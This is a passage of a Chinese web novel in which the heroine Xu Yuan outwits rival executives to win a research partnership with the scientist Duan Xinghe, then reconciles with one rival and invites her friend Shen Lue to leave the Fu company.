“很期待与你一起工作,许总。”段星河定定看了许愿好一会儿才慢慢松开手,狭长眼眸里闪烁着兴味的光芒。 “段老师是打算加入盛世了?” 段星河瞳眸幽深:“不然呢。” 虚假的笑容挂在同样英俊的两张脸上,强烈的敌意在眼瞳深处扩散。 诸位老板投资人高层看不出两人气场不合,还以为他们相处得很融洽,于是纷纷鼓掌,露出欢喜的笑容。 “先说好,入职盛世之后,我只承认许愿是我的搭档。你们要是换个人来管理我的部门,我立刻走人。”段星河开口的话就是在警告盛世。 陈建军等大股东除了讪笑,颔首,附和,完全不敢动歪念头。 来之前,谁能想到,这么重要的一个部门,最后竟然真的会由许愿来掌管。 你说这不合常理吧。看过许愿不要命的举动,领教了他临危不乱的超强心理素质,大家转念一想,竟又觉得合情合理。 怕是只有许愿这样的人才能压制住段星河这种疯子了。 第236章 他哪敢喜欢许愿 盛世的人是都没再吱声,但旁的公司却眼馋。 许愿在微博上发出的有关于段星河的实验任何一个完全研究出来都是敛财工具,谁愿意放弃这个赚钱的机会? 唐雅颂带着唐氏的人姗姗来迟,看到的就是这场景得到这样的结果内心满满的都是不服。 “段老师这是已经定下要跟盛世合作了?” “我看是段老师私下联系了许愿早早定下了合作意向,既然这样为何又要放话说要寻求合作对象。” “让我们白跑一趟有意思吗?” 她毕竟是唐雅颂,再如何都是唐家小姐,就算喜欢的男人选择了许愿也不会为此萎靡不振。 她已经重新振作,为了唐氏特地带了唐家的实验团队,就为了让段星河看到她们唐家的诚意。 段星河脸上一直都挂着令人沉醉却又危险的笑。 “我就是喜欢耍人,不接受的话大门在右边慢走不送。” 他想都未想,开口,完全不给唐雅颂半分面子。 甚至冲许愿挑了下眉:“许总,这下你总该知道我对你有多温柔了。” 他对许愿可没有这样冷嘲热讽呢。 许愿只是轻微嗤笑一声,胡说八道,哪里是温柔,分明是在给她添堵,真是满脑子的小心机。 “许愿,你总该知道你未婚夫是盛景炎,你跟段星河眉来眼去是对他的背叛。”唐雅颂内心腾的燃起怒火,许愿很轻很轻的叹了口气,她其实很不想与唐雅颂对话。 坦白来讲,唐雅颂这人骄纵蛮横但其实心眼并不算坏,只能说是被唐家保护得太好了,想要的任何东西都能轻而易举得到。 其实在追求盛景炎这件事上她本来算得上光明正大,盛景炎拒绝她也没有更多纠缠,许愿与盛景炎之间的关系曝光的时候唐雅颂也没有冲出来大吵大闹搞破坏。 她可能在暗处观察他们的一举一动,但没有做任何伤害盛景炎的事。 直到盛景炎出车祸被傅长海带走,许愿甚至觉得还好是唐雅颂带走了盛景炎,否则那个时候身受重伤的盛景炎根本逃不出那栋别墅。 她带走盛景炎也没有做任何伤害他的事,甚至召集医疗团队为他治伤。 她只是爱得太偏执,认为那时的她有了傅京礼或者其他男人才会义无反顾的带走盛景炎。 所以对于唐雅颂,她生不出什么讨厌的心思。 “段老师在我幼年的时候就已经是苏女士的好友,他算是我的叔辈长辈了,我还没有疯到要乱伦的地步,是吧,段叔叔。”许愿微笑的回应唐雅颂,顺便踩了段星河一脚,简直是往段星河心口戳刀子。 段星河年纪大吗? 比起许愿年纪是大的,不多不少,刚巧大她十岁左右。 十岁啊,段星河这种天才少年都已经快进研究所了许愿还没出生呢。 听着是有点变态。 段星河唇角狠狠一抽。 行,不愧是苏青莲的女儿,大的以前叫他小崽子,小的叫他段叔叔,每一次都能精准吐槽完美令他破防。 “不一定啊小侄女,你不变态不代表我不是变态啊。” 段星河嗤笑的身手灵巧的挼了吧许愿的头发,摸的许愿炸毛的险些跳起来后退两步离他远远的。 “啧。” 段星河随意的伸手,身旁的助理又将遥控器递到段星河手中,他慢条斯理的边走边摆弄小飞机,许愿随意一扫,就已经看出玄机。 看来段星河这人确实不简单。 许愿看出来了不同却默不作声什么都没说,一抬眸对上段星河的眼睛,他扬了下眉,聪明人只要互相对视一眼就知道对方是什么意思。 “都这样了,你还跟我说清白呢!” 唐雅颂整个人都要爆发了。 唐雅颂指向傅京礼又指向段星河,最后目光凶狠的落到陈飞豪脸上。 “段星河跟你拉拉扯扯,你的前夫傅京礼也为了你特地赶过来,还有这个男人!这个男人一直贴着你满脸带笑,你告诉我!哪一个对你没有意思!” 这话音才落,陈飞豪人都傻了。 不是? 什么啊? 他是觉得许愿漂亮,但他对许愿真没别的意思啊,他紧挨着许愿就是觉得她够聪明啊想套近乎!这跟追求不追求的有个屁关系! 接收到傅京礼盒段星河投射过的眼神,陈飞豪默不作声的移开脚步,陈飞豪的父亲陈建军也被气得两眼一黑,一巴掌拍他头上。 “许愿那样的疯子也是你能喜欢的!是你疯了还是我疯了!” “我没有啊!我哪敢啊!” 许愿那身边随便一个追求者出来都能踩死他行吗! 傅京礼眸光冰冷幽暗,听到陈飞豪的回应才移开目光,声音沉沉。 “因为她足够优秀所以才有追求者,这很难理解吗。” 傅京礼开口:“盛景炎不也有唐小姐这样执拗的追求者。” 唐雅颂牙齿都要咬碎了,她也知道自己没理。 许愿追求多全因为许愿足够优秀。 “我对你们这些乱糟糟的多线关系实在不感兴趣。”段星河懒懒散散开口:“如果实在没有什么重要的事大家可以移步去参加晚宴。” 他没兴趣听这些,没意思透了。 “段老师,请等一等。” 是唐雅颂。 “段老师就这么简单的敲定要跟盛世合作是不是太草率了。” 盛世的高层们七嘴八舌的站出来,这时候想起来跟许愿是利益共同体了。 段星河眸色淡淡的看她:“你想说什么。” “许愿确实很聪明,但绝对比不上专业的研究员,我敢说他们一定能跟上段老师的思维,所以还希望段老师能给唐氏一个机会。” 傅氏的死敌远程公司的赵方成也颔首似乎是认为此次段星河选择许愿是出于私心。 “段老师确实不能因为您私下跟许愿关系好就选择她。” 这话似乎是在嘲许愿和段星河私下有其他关系。 段星河嘴角含笑,眸色却迅速变冷。 赵方程声音不算大,但还是有几人听到了这话。 几声短促的低笑陆续响起,带着浓烈的嘲讽意味。那几人应该是远程的高层睨视许愿,表情轻蔑,目露鄙夷。 第237章 对峙 许愿尚未反击,陈飞豪倒是先开口了:“赵总,刚才开车的人如果换成你,你敢往上撞吗?你敢,你再来挑衅。” 赵方程立刻说道,“我当然敢,只可惜我来晚一步。” “我也敢。” “陈飞豪,你用用脑子,段老师肯定不会拿人命开玩笑。他让你加速,你加就是了。段老师肯定能确保你的安全。” “陈飞豪,你以为谁都跟你一样,是个怂货?” 与陈飞豪谈过合作的一些人纷纷出言嘲讽。 陈飞豪气得半死,指着这群人骂道:“你们还真敢说啊!你们以为许愿能做到的事,你们动动嘴皮子就行了?” 真到那种时候,吓都要吓死了!竟然还在这里胡说八道呢! 骂完觉得不过瘾,陈飞豪推搡赵方程:“走,我带你去找段老师,让你也体验体验撞车的快感!我他妈倒要看看,究竟谁是怂货!” 赵方程也没犹豫,果真往回走,一群人站在原地看热闹,唐雅颂眼角余光瞥着许愿,似乎也等着看好戏。 一群人的骚动终于引起了其他人的注意,陈建军看到这里闹起来,一看主人公还是自己儿子,脸都黑了。 “陈飞豪,你在闹什么?”陈建军没好气地问。 儿子输得这么难看,他面子上有些挂不住。 陈飞豪立刻把前因后果说了一遍。 他可以输给许愿,却不能忍受这些人的冷嘲热讽。 傅京礼黑着脸,眼里冷气翻涌。陈飞豪的话又勾起了心中的后怕,令他余怒难消。 “这里是段星河的研究所,不是你们的赛车场。”傅京礼眸色冰冷 赵方程嗤笑:“那就不劳傅总费心了。” 赵方程跟傅京礼算起来还是死敌,怎么可能会给傅京礼面子。 站在一旁的许愿忽然轻笑一声,徐徐开口:“说句不中听的话,各位不要往心里去。撇开人脉、资历和背景不谈,其实你们的水平也就那样。跟我竞争,你们还不够格。” “许愿,你太狂了!”赵方程怒火中烧。 赵方程此刻盯着许愿咬最重要一点还是因为许愿没让莱蒂斯骗到傅氏和盛世,结果莱蒂斯骗到远程头上,让远程损失了一大笔投资,所以纵然现在看到许愿知道她漂亮也压不住内心的恨意。 许愿摇摇头,眸色平淡却冷静:“你们连段星河的目的都没看懂,以后怎么跟他搭档?” 赵方程愣住了。 比陈飞豪背景更深的一位盛世高层似笑非笑地说道:“许总,这话说得有些过了。” “过与不过我心里清楚。”许愿环视这些人,徐徐开口:“你们知道段星河真正想要测试的是什么吗?” 一群人眼眸闪烁。 “谁能看出段星河的意图,我可以让你们跟他合作,合作的机会我也能让出来。”许愿往前走了几步,站在廊檐外。 阳光照射着她平静高傲的脸。 “段星河,你找人做个见证。只要他们能看懂段老师的心思,我退位让贤。”她想了下,似乎也不需要段星河找人做见证,远远便看到刑从景,她微微颔首刑从景便已经带着副队走过来。 “什么事。” “邢队,帮忙做个见证。”许愿将此前发生的事说了下。 刑从景觉得头疼。 “许愿,这是你拿命换来的合作。” 其实他知道许愿为什么这么做,但他认为没有必要,因为这些人还配不上让许愿耽搁时间。 “竞争就是这样。机会不能只给到我和陈总,大家都来试一试,否则没人会服气,对吧?”许愿看向赵方程,面露讥讽。 “段老师,我们的话您都听见了吧?您来当一下面试官?”许愿举起手,向后一挥。 段星河操控着一台玩具小飞机慢慢走过来,身后跟着一群研究员。 小飞机直冲许愿而去,在她身边绕着飞来飞去,许愿抬眸看着这架小飞机,眼底意色越深,但她并未说什么,只是眉眼含笑的等着段星河开口。 “既然许总开口了,这个要求我当然满足。”段星河垂头把玩遥控器,语气吊儿郎当:“各位,你们说说看,我今天做这场测试的主要目的是什么。” 赵方程等人互相看看,心里不由暗喜。 许愿发出那些资料后赵方程还特地找了自己实验部门的人开会谈论了这些以及智能系统相关的事,他不认为自己能被难倒,且他还带了自己研究所的实验员,许愿再厉害那也是门外汉,难不成自己的研究员还比不上许愿? 显然唐雅颂也是这样想的。 唯有傅氏的人等着看这些人的笑话。 许愿的能力他们是最清楚不过的。 “您现在测试的这款系统,严格意义上来说还不算真正的智能驾驶系统。您想要解决的应该是驾驶员和智能系统在危机处理中的权重问题。” “其实人和智能之间有的时候是会产生矛盾的,我觉得会有很多人担心将生命交给智能系统,那有没有可能会被人黑进系统从而导致车祸的发生。” “我觉得按照正常思路来讲其实这类研究分为两种,一种研发路线是循序渐进的,让智能系统逐步升级,让人类慢慢接受智能系统从而替代驾驶员,这个过程会很漫长。还有一种研发路线是跳跃式的更直接一些,算是一场科技革命也不为过,直接让驾驶员消失,做出完全成熟的系统。两条研发路线,到底哪一条更安全可靠,这应该是您最顾虑的问题。您要验证的也是这个。” “现在国际上还没有这类智能系统的车子出现,很多人都在为此争论不休,事实上如果技术不完全成熟,其实智能系统更容易发生危险意外。” 一群人各抒己见,发表自己的看法,让段星河知道他们不是脑袋空空的废物。 发表这些言论的是其他公司的研究员,傅氏的人就看着,似乎等着许愿要说什么。 陈飞豪也在思考那些问题,得出的结论其实跟这些人差不多。 第238章 自寻死路 是让智能系统逐步升级,直至达成完美,还是一开始就奔着研发成熟的智能系统而去,在汽车制造业这是一个大问题。 没有哪个企业能够承担试错成本。一旦系统不够完美,bug频出,只会造成一个又一个车祸,其代价是一条又一条生命。 一个人命官司就能让一家企业商誉扫地,关门大吉,更何况是大规模的车祸惨案。 段星河首先想测的,一定会是系统的安全性和可靠性,以及逐步升级系统的可行性。 所有人作答完毕,看向段星河。 许愿勾起唇角,讥讽地笑了笑。那辆玩具小飞机轻轻撞了撞她的肩膀,然后直接停在她肩上,模样看起来懒洋洋的,也不知为什么能从玩具飞机身上感受到这种情绪。 摆弄遥控器的段星河抬起头,眯眼扫过这些研究员。 众人微笑颔首,目露期待。 私心里,他们都认为自己的才智远胜许愿,却连争取一下的机会都没有。今天这个结果,谁都无法接受。 段星河讥讽的目光漫不经心地扫过所有人,问道:“各位,你们来这里的目的是什么。” “寻求合作。”赵方程答道。 “那真正做研究的人是谁。”段星河继续问。 “当然是段老师您。” “哦,我还以为你们才是主力研究,一个个满脑子都是技术,看上去好像比我还专业。”段星河话里的讽刺意味,每一个人都能听出来。 许愿弯了弯唇,慢条斯理地把玩手机。 搞了半天,这些人还不知道他们的主要职责是什么。 一群人反应过来,脸色都有些难看。 段星河环视众人,眼眸里全是含着淡笑的冷意。 “所以,我当然不会选择你们。”段星河盯着这群人,语气非常傲慢。 站在周围的一群人彻底慌了神,连忙赔礼道歉。 没了这次合作他们还想以后继续合作,可不能因为这次的事就真的觉得他们什么都做不成往后都没有合作机会,那可太冤了。 “段星河需要一个在技术上不会对他指手画脚的搭档。他说什么就是什么,不允许多余的声音出现。” 许愿把玩着手机,似笑非笑地说道:“敢不敢全速冲向软体墙,并不是他的评判标准。他选的是搭档,不是勇士。绝不质疑他的话,百分百配合他的步伐,才是他真正的需求。明知道前面是死路一条,也不会对他规划的路线产生动摇,他需要的是这样一个搭档。他测试的是一份默契。” “你们当中也有不少实验员,你们会希望有些人一直不停的质疑你或者针对你们的研究不能提出各种……无用意见的人吗。” 很显然这句话确实是戳中了他们的心思。 他们最烦的就是这种人。 许愿把手机收入口袋,环顾那群人,语气讥讽:“现在你们理解了吗?能跟他合作是我应得的。” 一群研究员呆呆地站了好一会儿,然后一个个涨红了脸颊。 段星河轻笑道:“还是许总了解我。智能驾驶系统应该怎么研发,那是我的事,用不着别人替我想?你们所有人的智商加一块儿是几个数?能比得上我?” 一群人脸颊涨成了猪肝色。段星河说话太不客气,把他们的自尊敲个粉碎。 但他们不得不承认,段星河挑选搭档的原则是对的。 先不提许愿是不是真的真材实料,就看许愿的配合度,她就已经赢了。 他们闹起来,丢的是他们自己的脸。 更丢脸的是,其他公司的高层也都在这里,闹起来只会更丢脸。 如果地上有一条缝,几人恨不得争先恐后往里钻。 陈飞豪暗暗庆幸自己没有跟着答题,否则就太他妈丢人了! 难怪许愿爬地比谁都快。早在测试开始之前,许愿恐怕就已经看穿了段星河的想法。她很擅长揣摩人心,也很懂得摆正自己的位置。 在职场中,这样的人永远都是头脑最清醒的。 “服气了吗?”段星河声音冷淡开口,平静无波的眼眸扫过这群人。 大家连忙压低脑袋,闷声答是。 “走吧。”段星河看向站在阳光下的许愿,正要开口,就听到唐雅颂开口了。 “段老师,这也只能证明许愿足够听话,但不代表她能跟上你的思维领域,这些还是需要专业的人来,不是吗。” 段星河将遥控重新丢到助理怀里。 “那么,唐小姐需要如何做呢。” 开口称呼她唐小姐,但其实话语里面并不带多少尊重。 唐雅颂开口:“要比就比专业知识,段老师只比那些,让我觉得段老师是故意在迁就许愿。” 段星河听到“专业知识”这四个字笑得更加放肆了。 “你说这群人要跟我一起比专业知识,还要加上许愿一起吗。” 唐雅颂点头,毫不遮掩自己的用意。 这次段星河笑到肩膀都在耸动。 “好吧好吧,既然这样,那你们就来吧。” 他们执意要出丑,他也不给他们多留面子了。 这群人不了解许愿,他可是最了解许愿的。 许愿的优秀基因来自于唐青江和苏青莲,这两人随便一个智商都是碾压众人的存在,而作为他们血脉延续的许愿能是普通人? 别人不知道许愿是盛华真正领导人,他却是知道的。 盛华研发出的各类软件各类新智能体系都是许愿投入的研究并申请了专利的,也就是许愿没有只身投入科研所以隐姓埋名罢了。 许愿在微博上发布的那些与他相关的资料其实说白了都是许愿研究过的,许愿全都有摄猎。 所以从这里就能看出许愿的智商是真的高,逆天的程度,旁的研究员可能数十年都研究不出什么东西毫无进展,许愿就能在各个领域都做出些研究。 天赋有时候就是大于努力,这句话其实就是真理。 段星河带着这群人到自己的研究所内部。 他随意找了一间空旷的研究会议室,已经有人发放各类实验材料。 一群人跃跃欲试想要在段星河面前大展身手让段星河看到自己的厉害之处,最好是能被段星河看中带入他的团队。 第239章 与有荣焉 许愿的能力其实一直都是被低估的状态。 她其实很多时候都是被迫的做了某种选择,就像她并不喜欢商业不喜欢金融,但为了能够更快的站到顶端手握权势还是毅然决然的选择金融专业,她选择这个专业不是为了接近傅京礼,只为了自己更快的积累财富。 她很清楚,想要真正的有话语权求不得任何人,她想做研究,但她是女性,她天生就是被人看作弱势群体的,没有人会相信她的实力,她更觉得哪怕真的有了研究成果她的姓名可能也会被抹去,然后主研究人就会变成某些德高望重的研究人员。 她甚至会被管控,成为那些人的代笔研究人员。 就是知道这些黑暗面许愿才会义无反顾的率先选择了金融专业,她想做研究可以自行投资,不用看任何人的脸色,不用写那些计划书,她自己就可以给自己拨取一定的研究资金。 但是真正了解许愿的,就会知道盛华在短短几年内研究出了多少新品。 有多少人去接触盛华的团队挖人,但那些人心里都清楚,主力是许愿,没有许愿他们其实做不出什么成功,更何况盛华给的东西已经够多了,他们不会不自量力认为自己真的值这个价钱。 最重要的是,担心以后来自盛华的报复。 所以盛华内部谁才是真正的研究主笔,至今没几个人知道。 可段星河提到的这些偏偏都是许愿接触过的,甚至可以说是非常拿手的,她的论文也曾获奖,只是姓名是英文名所以没人知道那是许愿。 段星河慢条斯理的开口说了个实验,其他实验人员还有些懵的想着需要如何列写数据,段星河与许愿就已经拿起桌上提供的东西开始实验,旁的人有样学样,却因为数据有误差导致失败而终,而从头到尾,许愿也只是慢了段星河一些,她一直都能跟得上段星河的动作。 有人已经震惊了。 一次次的实验,全部都是这样的结局,其实中间也有人懂这些,但是思绪却跟不上段星河与许愿,段星河与许愿列完数据整场实验做完他们可能才刚开始。 直到最后,段星河歪了歪头,嗓音低哑带着几分调笑。 “那么最后,是有关3D的实验,我会放出一段视频数据,各位可以根据自己所接触的所知道的将这组数据进行改写,达到裸眼3D效果,各位准备好了吗?” 有病吧! 谁要弄这个啊!这不就是许愿发到微博上的吗!他们要会这个还求段星河合作吗! 有人都已经傻在原地了,许愿却一派轻松的倚靠在一旁,然后轻松的代入一串数据,轻轻松松完成段星河最后提到的任务。 是的,她既然敢发那段视频就是因为她已经找到了这种算法设计出了这类软件,轻松能够将视频转化。 在场的人一片哗然。 这已经是科技的革新了。 如果许愿在这种时候收购视频平台推出这类裸眼3D效果,那他们敢保证,其它各类软件APP全都会遭到暴击。 当人们能够接触这类视频后是不会转头再去接受普通视频软件接受二维化平面的东西。 段星河倚靠在一旁,脸上的表情明显带着悠然的笑意。 “我为什么选择许愿呢。” “各位现在应该已经知道原因了。” “对于一位金融系的天才清楚所有研究器材能够跟上我的步伐,甚至自行研究出了3D相关的转化器软件,诸位……我不选她难道还选你们?” 段星河推了推鼻梁上的眼镜,眼底带着柔柔的笑意。 “总不能我在开口询问时还要等我的合作伙伴算上几天拿到最终的数据再来跟我讨论,我可不是多有耐心的人。” “赵总,唐小姐,你们应该懂了。” 懂了,他们当然懂了! 赵方程面色阴沉甚至眼底内心都隐藏着巨大的恐惧。 视频软件,远程也有视频软件,现在不是十几年前,十几年前比较火的视频软件有十几二十种,但现在市面上还存留的视频软件就是那几大头,他们远程的视频软件偏偏就排在末尾,经常靠着抄袭出圈存活,什么节目火排什么节目,什么剧火了拍什么题材的剧。 但他跟许愿有仇,其他平台肯定会恳求许愿跟他们合作,许愿或许会跟他们合作,但……她一定不会跟自己合作。 那等待他的是什么?平台被关停,或者……被强行买断收购。 他根本想都不敢想。 唐雅颂垂下眼眸,她能感受到自己的指尖都在颤动着,她整个人都在发抖,是的,她在惊慌。 她从未想到许愿会是这样可怕的人。 她本以为一切都是许愿抢来的功劳,她以为自己已经足够优秀,但直到这一刻她才清楚的知道她和许愿之间距离太远。 她高高在上远在高山之巅,而她却在崖底,她这样出身的人,想要看到许愿竟然只能仰望。 唐雅颂不是嫉恨,她是那种心酸,有一种怪不得盛景炎要她不要自己的感觉。 她内心酸楚但也觉得这样很好。 有女性角色能站到这样的高度,她与有荣焉。 唐雅颂踩着高跟鞋,一步一步走到许愿面前,许愿身量很高,她只是掀了掀眉目光悠然的落在唐雅颂脸上。 “许愿。” “你很优秀,优秀到我在此刻觉得……这世界上没有人能配得上你,傅京礼不配,盛景炎不配,你这样的人,就该高高在上由着众人仰望倾慕。” 唐雅颂伸出手:“我为我此前的误解污蔑以及做错的所有事向你道歉,我爱盛景炎,但显而易见他的选择是正确的,你才是最优选。” 不再嫉恨,只是释然。 所以许愿从一开始对唐雅颂其实就没有多少恶意。 女性之间的友谊其实也很纯粹,她从唐雅颂身上感受不到那种来自灵魂深处的厌恶,她与许宁是不同的。 “不是这个原因。” 许愿摇了摇头。 “算了,有机会我会带她跟你一起约个饭,你应该会明白的。” 第240章 小星星送你了 许愿突然抱住唐雅颂,她因为小产身体虚弱已经消瘦很多,但身体还是娇娇软软还带着香味儿,明明是那样强大的人了却还是如此香甜。 “你也会遇到你的最优选,我保证。” 唐雅颂眼睫微颤,唇角弧度不由得扬起。 片刻后,她重重的点了点头,下巴贴在许愿的肩侧蹭了蹭。 赵方程:“……” 赵方程人都傻了。 不是? 刚才唐雅颂不是还跟他站在同一战线对许愿开炮吗?这就退后了?这算什么? 赵方程的笑容都是虚的,直到许愿和唐雅颂两人结束这次的拥抱,赵方程才唇角抽动的虚虚开口:“许总,您看结束后您有没有时间跟我谈一谈相关的合作。” 合作,自然是与裸眼3D有关。 许愿忍不住轻笑一声,她笑起来的时候是很美的,只是此刻眼尾都没有弯起来,是那种虚伪的假意笑容。 “赵总,我只是个女人,女人能有多大能耐呢。” “我们这样的人,最厉害的就是会挑男人,若不是我挑了盛景炎和容浔这些人我怎么会有如今的地位呢?” “我这样没用的只能靠男人的小女人能跟您谈什么合作呢?我配吗?” “所以赵总,您可以去寻找新的合作对象了。” 许愿开口,一字一句都明显带着凉意,却让赵方程浑身直冒汗。 那些话全部都是他在聚餐的各类晚宴上大放厥词说过的对许愿侮辱性的话。 他记得清楚,有的甚至还是三四年前提起的,许愿竟然真的记了这么久!她怎么就这么爱记仇! 赵方程目瞪口呆,支支吾吾好半天说不出一句话。 唐雅颂听到这些话也微微眯眼,凉飕飕的目光落到赵方程脸上,嗤笑一声。 “女人没什么能耐,所以下次肚子里有了这种蛆虫就该早早打掉,这种人连降生的机会都不配有。” 赵方程只能赔笑。 现在的许愿不是他能惹得起的,那唐雅颂背靠着唐家更不是她能招惹得起的,只能内心愤恨脸上继续尴尬的笑。 合作的对象最终定下许愿,合作的公司自然是盛世。 一切结束,许愿微微颔首看向盛世的众人,这次高层也好,参与进来的员工也好纷纷以许愿为首跟随在她身后。 这次他们算是真的看清楚了,许愿是有真材实料的,且情商也是真的高,先用实力折服唐雅颂再用几句话拉拢唐雅颂,谁看了不服? 许愿带领众人离开,而一直追随着她的小飞机再次跟在她身边,围着她转来转去,滴滴答答的又开始响着破碎的音乐,听不出什么音乐就是有点难听,难听的许愿想捂耳朵的程度。 许愿唇角微微抽动,没完了吗? 许愿回头看向段星河 段星河走上前,把遥控器塞给他,笑着说道:“小星星送你了。” 你叫段星河,飞机就叫小星星?名字起得挺可爱,但是带着这东西回去……盛景炎看到不知道要怎么酸了。 许愿有些啼笑皆非,手却下意识地握紧遥控器。 她其实心里知道不该收下这份礼物,但是……这是段星河的东西,段星河肯定还有话要说,要说的话或许就藏在这架小飞机中,碍于身边跟着警备队的人只能退而求其次的将飞机送给她由她带走研究。 她拨弄方向摇杆,小星星在她周身飞来飞去,发出很轻微的声音。 她摁了摁左上角一个圆钮,小星星嘟嘟叫了两声。 许愿无法控制自己的表情,笑弯了眼眸和唇角。 其实许愿还是挺喜欢这东西的,打小就喜欢。 正笑着,抬眸便看到傅京礼幽深的眸,她只顿了一瞬便再度扬起笑脸,然后握紧遥控器递交到刑从景手中。 “邢队,麻烦您看好我的礼物,这是我要带回家的东西。” 刑从景扬了下眉点头。 见她收了自己的礼物,段星河低笑了几声。 “那么,诸位可以来参加我为诸位准备的晚宴了,希望各位玩得愉快。” 话落,段星河已经带着人离去,只是与傅京礼擦肩而过时,他轻撞对方肩膀,眼里全是讥讽和敌意。 一群身穿白大褂的研究员跟在他身后,浩浩荡荡而去。 “段老师这排场,看着真像黑道大佬。”陈飞豪笑嘻嘻地打趣。 陈建军狠狠瞪他一眼。 傅京礼拍掉肩膀上不存在的灰,脸色阴沉地能滴水。 但凡人工智能领域有哪位科学家能够取代段星河,他都不会来这一遭。 “走。” 容浔一直都紧随傅京礼其后,他对这期间的任何事都没有表达对自己的看法。 他唯一感受到的是……他从最开始就看错了许愿。 许愿从来不是弱小的人,从进入傅氏那天起她就已经站在高山之巅,是她给了他们一种她需要被人带领牵引的错觉。 她可以在金融领域以一个又一个成功的合作案赚取金钱也可以随时抽身离开商圈转去清高的科研圈,权看许愿愿不愿肯不肯。 那些人为难许愿,无非是让许愿摘掉了一直蒙在身上的面纱面具,露出些许真容。 他从来都不了解许愿。 “傅总,真的要走吗,许愿也会参加今晚的晚宴。” 傅京礼垂眸某种夹杂着难以言喻的冷意。 他嗓音沙哑的嗯了一声,没有说要不要离开,却是默认参加晚宴。 沈略却是恍惚的站在原地,一直远远的望着许愿已经带领盛世的人远去的背影,眼底都蒙上一层阴霾。 他其实已经记不清上一次跟许愿站在谈判桌上合作是什么时候了。 最近一次是许愿冷眼对他,她说不会再信任傅氏的任何人。 现在又是一次次无视他们。 为什么要这样呢。 他是傅氏的人,但除去这些他们不算是朋友吗,他是不会做任何伤害她的事。 可现在他们却已经分道扬镳了……彻底的分道扬镳了。 直到进入会场,他的目光也一直落在许愿的身上未曾移开,他感受得到自己的胸腔在剧烈的跳动,好像只有看到她的那一刻才能重新活过来。 第241章 你有没有想过离开傅氏 许愿被众人围在中间,众星捧月,旁人再如何恭维夸赞,她仍是那副淡淡的得体的模样。 直到这群人识相的自行离开,沈略才不受控制的自己走到她面前。 离得近了,沈略才发现许愿是真的瘦了很多,他方才以为是自己离得太远看错了。 离近了才察觉出她瘦了,眼神也变了,不再是从前那般似水温柔的眼神,而是凛冽,毫不遮掩其内的锋芒。 看到来人是他,许愿顿了下弯了弯唇。 “好久不见。” 她在跟沈略打招呼。 沈略有片刻的愕然,有一瞬间险些热泪盈眶。 “好久不见。” “我以为……” 有些话还未说出口,许愿已经拿起一杯热牛奶,眼尾弯了弯,这次是真心实意的笑着的。 “对不起。” 她在道歉。 沈略怔住。 “为什么?”他不解,询问。 “我为我上次在云尚对你说过的那些话道歉。” 许愿抬头看向他:“你和容浔是不同的,沈略,你是朋友,对朋友说出那些迁怒的话是我的错,是我没有管理控制好自己的情绪,希望你不要因为这件事难过。” 那次车祸孩子掉了的时候她伤心难过,不敢相信这一切,所以才会迁怒沈略。 可她清楚的知道,沈略是心思深重,却也心理敏感,容浔和傅京礼很清楚沈略和他的关系,所以很多事情不会让他去做,他是被排除在外的。 他是无辜的。 沈略慌忙摇头却又点头,这副模样许愿看了实在想笑。 “要聊聊吗。” 许愿目光掠过清净的阳台提议。 沈略求之不得。 许愿与沈略一同离开,周围已经有人在私下悄悄议论许愿和傅氏没有完全断了关系,盛世的某些高层更是眼神复杂。 盛世的人很清楚,有些东西是绝对不能掌控在许愿手中的,许愿的不确定性太强了,她今天可以因为爱着盛景炎而帮助盛世,明天就可以因为爱着其他人背叛盛世,就像现在背叛傅氏一样。 许愿手里的东西,他们一定要抢过来。 …… 今天的天气是真的很好,月朗星稀,吹来的风都是清爽的微风。 有风抚过吹乱许愿的碎发刘海,她随手拨弄了下,抬起头时眼底都是笑意。 沈略顿了下,有一瞬的目光黯然。 以前在傅氏的许愿很少露出这样放松的姿态,看来她离开傅氏后盛景炎真的将她照顾得很好。 “沈略,你有没有想过离开傅氏。” 许愿直截了当的开口,没有任何遮掩停留。 “傅京礼也好容浔也好,这两人才是真正的利益共同体,你是被排除在外的,傅氏不适合你,如果你愿意离开傅氏,我随时可以给你安排属于你的职位。” 许愿开口,完全不藏自己对他的信任。 “沈略,能让我完全信任的人很少,你算一个。” 离开……傅氏吗? 沈略很聪明,为什么许愿离开傅氏后他会一直想起原来?因为他知道什么傅氏铁三角,其实真正默契真正切不开的是他和许愿。 容浔是傅京礼的人,从未将他和许愿看作是朋友。 容浔是站在傅氏资本的角度看待问题,就像许愿说的他和傅京礼之间才是利益共同体。 因为他跟许愿关系太好所以导致许愿离开傅氏后他的身份变得矛盾,傅氏的很多核心资料乃至于合作都将他剔除在外。 说他是傅氏的首席秘书吗?还是,只是权利早不如从前,像是被架空了权利。 “要来吗,如果你能来,我会很开心的。” 去许愿身边?离开傅氏去盛世吗? 沈略能够体会到许愿的难处,盛景炎没有出事的时候能够完全压制盛世,但盛景炎出事,就成了废人,他们所有人都想要将许愿和盛景炎拉下来自己坐上高位。 今天的一切沈略都看得真真切切。 那些人知道许愿的能力却还是想要压制她控制她,在盛世,她甚至没有多少真正可以信任的人。 可是……离开傅氏吗? 当年他是被傅京礼带到傅氏的,他跟随傅京礼工作这么久,傅京礼待他不薄,给他股份给他职位给他一切……离开傅氏就会成为彻底的背叛。 “沈略,他已经不是原来的傅京礼了。” “我不会害你。”许愿语气认真。 “你想清楚,要不要跟我离开。” 她是真的将沈略看作是朋友的。 傅京礼和容浔以后会做出什么她根本不清楚,但她担心他们会因此伤到沈略,她想要沈略在此前离开傅氏,避免受到任何伤害。 沈略哑然。 “抱歉,我暂时……还不能离开。” 起码现在不能离开。 明天就是金融峰会,如果他也离开傅氏,那要给旁人一种什么讯息?傅氏不行的信息? 但是暂时不能离开就已经委婉的做了回答。 现在不离开,以后会离开。 许愿轻笑:“我等你的好消息。” 许愿转身要离开,远远便看到阳台门口男人高大的身影。 是傅京礼。 她能感受到男人眼眸里的阴影越来越浓,慢慢扩散。 傅京礼盯着许愿的侧脸,说道:“许愿,你喜欢拿自己的命去冒险,是吗。” 许愿脸上的笑意都没了。 “你太急功近利。钱真有那么重要?钱能买来生命?” 傅京礼的声音沉冷:“许愿,你以前不是如此物欲横流。” 许愿的脸色一点一点变白,眼里星光一般闪耀的快乐尽数熄灭,化为暗沉的痛苦。 她喉间溢出笑声,不知道是笑自己还是笑他。 努力调整了一下心情,她转头看向傅京礼,一字一字缓慢说道:“傅总,你说错了。你可以去医院转一圈,有些时候,钱就是万能的,就是可以买到生命的。” 她嘲讽的开口:“我以前什么样,现在什么样,好像已经跟傅总无关了。” 她路过傅京礼,声音冰冷:“一切都是我的选择。” 傅京礼目光一直落在许愿身上未曾移开,许愿却依然转身离去,毅然,决绝。 